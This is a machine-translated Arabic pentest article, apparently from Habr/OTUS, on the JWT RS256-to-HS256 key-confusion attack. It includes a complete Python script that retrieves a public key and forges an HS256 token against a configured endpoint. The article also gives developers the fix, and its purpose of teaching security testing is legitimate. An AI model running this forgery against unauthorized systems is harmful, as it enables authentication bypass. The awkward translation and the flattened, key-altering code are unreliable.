JWT: توقيع التوقيع الرقمي VS MAC Attack

مرحبا بالجميع. ليس سراً أن OTUS تُطلق كل شهر العديد من الدورات التدريبية الجديدة والفريدة تمامًا ، وهذا الشهر هو Pentest. ممارسة اختبار الاختراق " . وفقًا للتقاليد المعمول بها ، عشية بداية الدورة ، نشارك معك ترجمة المواد المفيدة في هذا المجال.





خلال آخر pentest ، صادفت نظام ترخيص يستند إلى JSON Web Token (أو فقط JWT). يتكون JWT من ثلاثة أجزاء: الرأس ، الحمولة ، معلومات التحقق. يحتوي الجزء الأول من الرأس على اسم الخوارزمية ، والذي سيتم استخدامه لاحقًا لجزء التحقق من JWT. هذا أمر خطير لأن المهاجم يمكنه تعديل هذه المعلومات وبالتالي (ربما) التحكم في المخطط الذي سيستخدمه الخادم للتحقق.

يشيع استخدام دائرتين: RS256 ( خوارزمية التوقيع الرقمي ) و HS256 ( خوارزمية قائمة على MAC ). سيكون الخيار غير الآمن تمامًا هو نظام NULL: لا تقم بتضمين معلومات التحقق على الإطلاق - للأسف لم يتم قبول مخطط NULL من قبل خادم الويب المستهدف.

هناك تباين صغير في هجوم type confusion JWT ، والذي قد يعمل إذا كان تنفيذ الخادم يستخدم مكتبة تحقق والتي تستدعي رمزًا مثل التحقق (الرمز المميز ، المفتاح) وتفترض أنه سيتم استخدام الرموز المميزة الموقعة رقميًا فقط. في هذه الحالة ، ستظل المعلمة الثانية "المفتاح" عامة دائمًا وسيتم تقديمها للتحقق (تستخدم التوقيعات الرقمية المفتاح الخاص لإنشاء التوقيع والمفتاح العمومي المقابل للتحقق من التوقيع المنشأ).

الآن يمكن للمهاجم الحصول على المفتاح العمومي ، وإنشاء رمز مميز جديد يستند إلى MAC واستخدامه لإنشاء جزء من التحقق من هذا الرمز المميز. في المخطط القائم على MAC ، لا يلزم سوى المفتاح السري لإنشاء معلومات التحقق ، وبالتالي يستخدم المهاجم المفتاح العمومي (التوقيع الرقمي) كمفتاح سري لـ MAC. إذا تم تمرير هذا الرمز المميز الآن إلى الخادم للتحقق منه ، فإن المكتبة تحدد المخطط الذي سيتم استخدامه للرمز المميز (الذي تم تعيينه بواسطة المهاجم على أنه HS256 ، مشيرًا إلى مخطط MAC). ستستخدم المكتبة المعلمة الثانية كمدخلات لإنشاء MAC. نظرًا لأن هذا مفتاح عام ، فإن MAC الجديد يطابق MAC الذي تم إرساله إلى المهاجمين ، وبما أنهما متطابقان ، فسيقبل الخادم رمزًا مزيفًا. ما الذي يجب على مطور التطبيق فعله إذن؟ إذا تم قبول الرمز المميز بواسطة الخادم ، فيجب على الخادم دائمًا التحقق مما إذا كانت الخوارزمية المستخدمة تتطابق مع الخوارزمية التي تم التخطيط لها في الأصل من قبل المطور.

من الناحية النظرية ، يجب أن يكون هذا سهل التحقق ، لكنني لم أجد أداة عمل. لذلك ، أنا نفسي كتبت سيناريو بيثون. لاستخدامها ، في شفرة المصدر ، يجب عليك استخدام التكوينات التالية:

  • jwks_url : أين يمكنني الحصول على معلومات حول المفتاح العمومي. يتم استخدام JWKS من قبل العديد من الخدمات لتوزيع المعلومات الرئيسية بشكل علني.
  • operation_url : طلب HTTP GET يستخدم الرمز المميز JWT للترخيص.
  • token : JWT صالحة لعملية مكونة.
  • audience : الجمهور الذي تم تكوين الرمز المميز له.

يقوم البرنامج النصي بما يلي:

  • قم بتنزيل ملف تكوين JWKS واسترجع إعدادات المفتاح العمومي. من هذا ، يتم إنشاء تمثيل بيم.
  • يضمن إمكانية التحقق من الرمز المميز المكون باستخدام المفتاح العمومي المستخرج ؛
  • ينفذ عملية تمت تهيئتها برمز صالح ويعرض رمز حالة HTTP المستلم والوثيقة الناتجة (من المفترض أن يكون هذا JSON).
  • ينشئ رمزًا جديدًا استنادًا إلى التكوين. في الرمز المميز الجديد ، سيتم تغيير النوع إلى HS256 ؛ سيتم حساب MAC (استنادًا إلى مفتاح مفتوح) واستخدامها كمعلومات تحقق للرمز المميز.
  • قم بتنفيذ العملية التي تم تكوينها مرة أخرى باستخدام الرمز المميز المعدل وعرض رمز حالة HTTP ، وكذلك المستند الذي تم إرجاعه.

نظرًا لأن رمز حالة الإرجاع (برمز معدّل) كان 401 (ممنوع التخويل) ، فقد تم التحقق من التفويض على جانب الخادم الهدف ، وبالتالي ، لم يتم اختراقه بهجوم التوقيع مقابل ماك. إذا نجح هذا ، سيتم إنشاء رموز الحالة المتطابقة والمستندات الناتجة المماثلة باستخدام مكالمات HTTP (مع الرمز الأصلي وكذلك الرمز المميز المعدل).

آمل أن يكون هذا المقال يساعدك في الممارسة pentest الخاص بك ، واستخدام البرنامج النصي بيثون بسرور:

 import jwt import requests from jwcrypto import jwk from cryptography.x509 import load_pem_x509_certificate from cryptography.hazmat.backends import default_backend # configuration jwks_url = "https://localhost/oauth2/.well-known/jwks.json" operation_url = "https://localhost/web/v1/user/andy" audience = "https://localhost" token = "eyJh..." # retrieves key from jwks def retrieve_jwks(url): r = requests.get(url) if r.status_code == 200: for key in r.json()['keys']: if key['kty'] == "RSA": return jwk.JWK(**key) print("no usable RSA key found") else: print("could not retrieve JWKS: HTTP status code " + str(r.status_code)) def extract_payload(token, public_key, audience): return jwt.decode(token, public_key, audience=audience, algorithms='RS256') def retrieve_url(url, token): header = {'Authorization' : "Bearer " + token} return requests.get(url, headers=header) # call the original operation and output it's results original = retrieve_url(operation_url, token) print("original: status: " + str(original.status_code) + "\nContent: " + str(original.json())) # get key and extract the original payload (verify it during decoding to make # sure that we have the right key, also verify the audience claim) public_key = retrieve_jwks(jwks_url).export_to_pem() payload = extract_payload(token, public_key, audience) print("(verified) payload: " + str(payload)) # create a new token based upon HS256, cause the jwt library checks this # to prevent against confusion attacks.. that we actually try to do (: mac_key = str(public_key).replace("PUBLIC", "PRIVATE") hs256_token = jwt.encode(payload, key=mac_key, algorithm="HS256") # call the operation with the new token modified = retrieve_url(operation_url, str(hs256_token)) print("modified: status: " + str(modified.status_code) + "\nContent: " + str(modified.json())) 

هذا كل شيء. نحن في انتظار كل من قرأ حتى النهاية في ندوة مجانية على الإنترنت حول الموضوع: "كيفية البدء في فرز الأخطاء على الويب" .

Source: https://habr.com/ru/post/ar467015/


All Articles